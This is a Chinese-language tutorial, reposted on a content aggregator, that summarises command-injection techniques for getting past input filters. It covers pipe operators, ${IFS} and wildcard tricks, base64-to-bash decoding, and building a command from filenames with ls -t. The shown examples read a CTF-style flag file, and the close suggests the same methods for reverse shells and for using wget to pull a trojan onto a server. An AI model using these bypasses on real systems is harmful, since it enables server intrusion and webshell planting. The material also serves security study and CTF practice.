服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

命令执行漏洞利用及绕过方式总结

日期: 来源:信安黑客技术收集编辑:My_Dream

命令注入常见的方法

1.常见管道符

  Windows系统支持的管道符

  Linux系统支持的管道符

2.空格过滤

  ${IFS}

  重定向符<>

  %09(需要php环境)

3.黑名单绕过

  拼接

  base64编码

  单引号,双引号

  反斜线

  $1,$2等和$@

4.读文件绕过

5.通配符绕过

6.内敛执行绕过

7.绕过长度限制

  Linux中的>符号和>>符号

  Linux中命令换行

  利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

逐一分析

1.常见管道符

Windows系统支持的管道符

|直接执行后面的语句

||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

&前面和后面命令都要执行,无论前面真假

&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令


Linux系统支持的管道符

|、||、&、&&这四种管道符都存在且用法和Windows系统下一样,多了一个;管道符,作用和&一样

 

2.空格过滤

${IFS}

payload1:

 

payload2:

 

payload3:

 

重定向符<>

payload1:

 

payload2:

 

%09(需要php环境)

 

黑名单绕过

拼接


base64编码

payload1:

root@kali:~# `echo "Y2F0IGZsYWc="|base64 -d`
this is your flag

 

payload2:

root@kali:~# echo "Y2F0IGZsYWc="|base64 -d|bash
this is your flag


单引号,双引号

 

反斜线

 

$1,$2等和$@

 

读文件绕过

当cat被过滤时,可以使用如下命令代替

 1 (1)more:一页一页的显示档案内容
2 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
3 (3)head:查看头几行
4 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5 (5)tail:查看尾几行
6 (6)nl:显示的时候,顺便输出行号
7 (7)od:以二进制的方式读取档案内容
8 (8)vi:一种编辑器,这个也可以查看
9 (9)vim:一种编辑器,这个也可以查看
10 (10)sort:可以查看
11 (11)uniq:可以查看
12 (12)file -f:报错出具体内容

 

通配符绕过

比如

 1 root@kali:~# /???/?[a][t] ?''?''?''?''
2 this is your flag
3 xx
4 cc
5 xa
6 /bin/cat: test: 是一个目录
7 root@kali:~# /???/?at flag
8 this is your flag
9 xx
10 cc
11 xa
12 root@kali:~# /???/?at ????
13 this is your flag
14 xx
15 cc
16 xa
17 /bin/cat: test: 是一个目录
18 root@kali:~# /???/?[a]''[t] ?''?''?''?''
19 this is your flag
20 xx
21 cc
22 xa
23 /bin/cat: test: 是一个目录


内敛执行绕过

`命令`和$(命令)都是执行命令的方式

 

绕过长度限制

Linux中的>符号和>>符号

(1)通过>来创建文件

 

(2)通过>将命令结果存入文件中
使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入

 

(3)>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

  

Linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行
比如一条命令cat flag可以如下表示

 

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
this is your flag


用这种方法可以绕过一些长度限制读取文件内容。微信搜索公众号:Linux技术迷,回复:linux 领取资料 。

 

利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)


root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
root@kali:~/example# ls -t
c b a

 

我们来看看ls -t>ghtwf01有什么效果(开始不存在ghtwf01这个文件)

root@kali:~/example# ls -t>ghtwf01
root@kali:~/example# cat ghtwf01
ghtwf01
c
b
a

这条命令先执行了创建ghtwf01文件然后将ls -t的执行结果写入ghtwf01文件
我们试试用这些方法来执行命令cat flag

root@kali:~/example# > "ag"
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
this is your flag
a: 6: flag: not found


读取到了flag内容为this is your flag,无论这个文件里面有不有其它内容都能执行
总而言之文件构造绕过就是如下知识:

linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行

 

反弹shell命令比较长就可以用这种方式去绕过长度限制
如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己vps上面的木马文件。



参考:https://www.ghtwf01.cn/index.php/archives/273/作者:My_Dreams原文链接:https://www.cnblogs.com/zzjdbk/p/13491028.html


注:如有侵权请联系删除


读到这里说明你喜欢本公众号的文章,欢迎 置顶(标星)本公众号 Linux技术迷,这样就可以第一时间获取推送了~

在本公众号 Linux技术迷,后台回复:Linux,领取2T学习资料 !
1. Linux 中 find 命令的 35 个实际例子
2. 运维必备的《网络端口大全》,看这一份就够了
3. Linux 学习指南 (收藏篇)
4. 2万字系统总结,带你实现Linux命令自由

相关阅读

  • 在 Git 中撤消更改的 6 种方法!

  • 关注“脚本之家”,与百万开发者在一起出品 | 前端充电宝(ID:FE-Charge)如若转载请联系原公众号当使用 Git 进行项目代码管理时,难免会出现一些错误操作或需求变更,需要对代码进
  • CTF-web--命令注入

  • 大佬总结的文章,本篇文章阅读时间大约30分钟。一 、基本原理命令注入指的是,利用没有验证过的恶意命令或代码,对网站或服务器进行渗透攻击。注入有很多种,并不仅仅只有SQL注入。
  • 实战攻防演之阻击CSRF威胁

  • 一、概述CSRF(Cross-site Request Forgery:跨站请求伪造),利用受害者尚未失效的身份信息(cookie/会话),创建恶意的web页面产生伪造请求,在受害者不知情的情况下,向服务器发送请

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四
  • 美国对华2000亿关税清单,到底影响有多大?

  • 1 今天A股大跌,上证最大跌幅超过2%。直接导火索是美国证实计划对华2000亿美元产品加征25%关税。 听起来,2000亿美元数目巨大,我们来算笔账。 2000亿美元,按现在人民币汇率

最新文章

  • 不要和陌生人一起创业

  • 今天的文章由这个标题而来。我经常这样写东西,觉得某句话适合做标题,于是就打算顺手写一篇文章。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍我昨天看了孟岩公众号的那篇文章,不知道怎么
  • 团购 ChatGPT 4.0 Plus,把价格打下来

  • 组织一下ChatGPT PLUS团购,帮助有需要的人,毕竟升级ChatGPT PLUS确实费事儿。言归正传,真正使用ChatGPT的协助工作的人都会使用ChatGPT PLUS,因为给的结果更准确,让我们的工作更
  • 命令执行漏洞利用及绕过方式总结

  • 命令注入常见的方法1.常见管道符  Windows系统支持的管道符  Linux系统支持的管道符2.空格过滤  ${IFS}  重定向符<>  %09(需要php环境)3.黑名单绕过  拼接  ba
  • 截至2022年底我区拥有地理标志证明/集体商标90件

  •   石榴云/新疆日报讯(记者任华 任春香报道)记者从自治区人民政府新闻办公室4月27日召开的“强化协同 优化环境 合力开创知识产权强区建设新局面”新闻发布会上获悉,截至2022
  • 用 ChatGPT 写代码,效率杠杠的!

  • 关注 AI 实战,开启智能生活!推荐阅读:用上 ChatGPT 啦,打破你的认知!Spring + OpenAI 生成图像,真香!Spring Boot + ChatGPT 项目实战来了!来源:https://www.cnblogs.com/scy251147/p
  • 马斯克官宣 TruthGPT,正面硬刚 ChatGPT。。。

  • 关注 AI 实战,开启智能生活!推荐阅读:用上 ChatGPT 啦,打破你的认知!Spring + OpenAI 生成图像,真香!Spring Boot + ChatGPT 项目实战来了!在过去的几年里,人工智能(AI)发展迅速,引发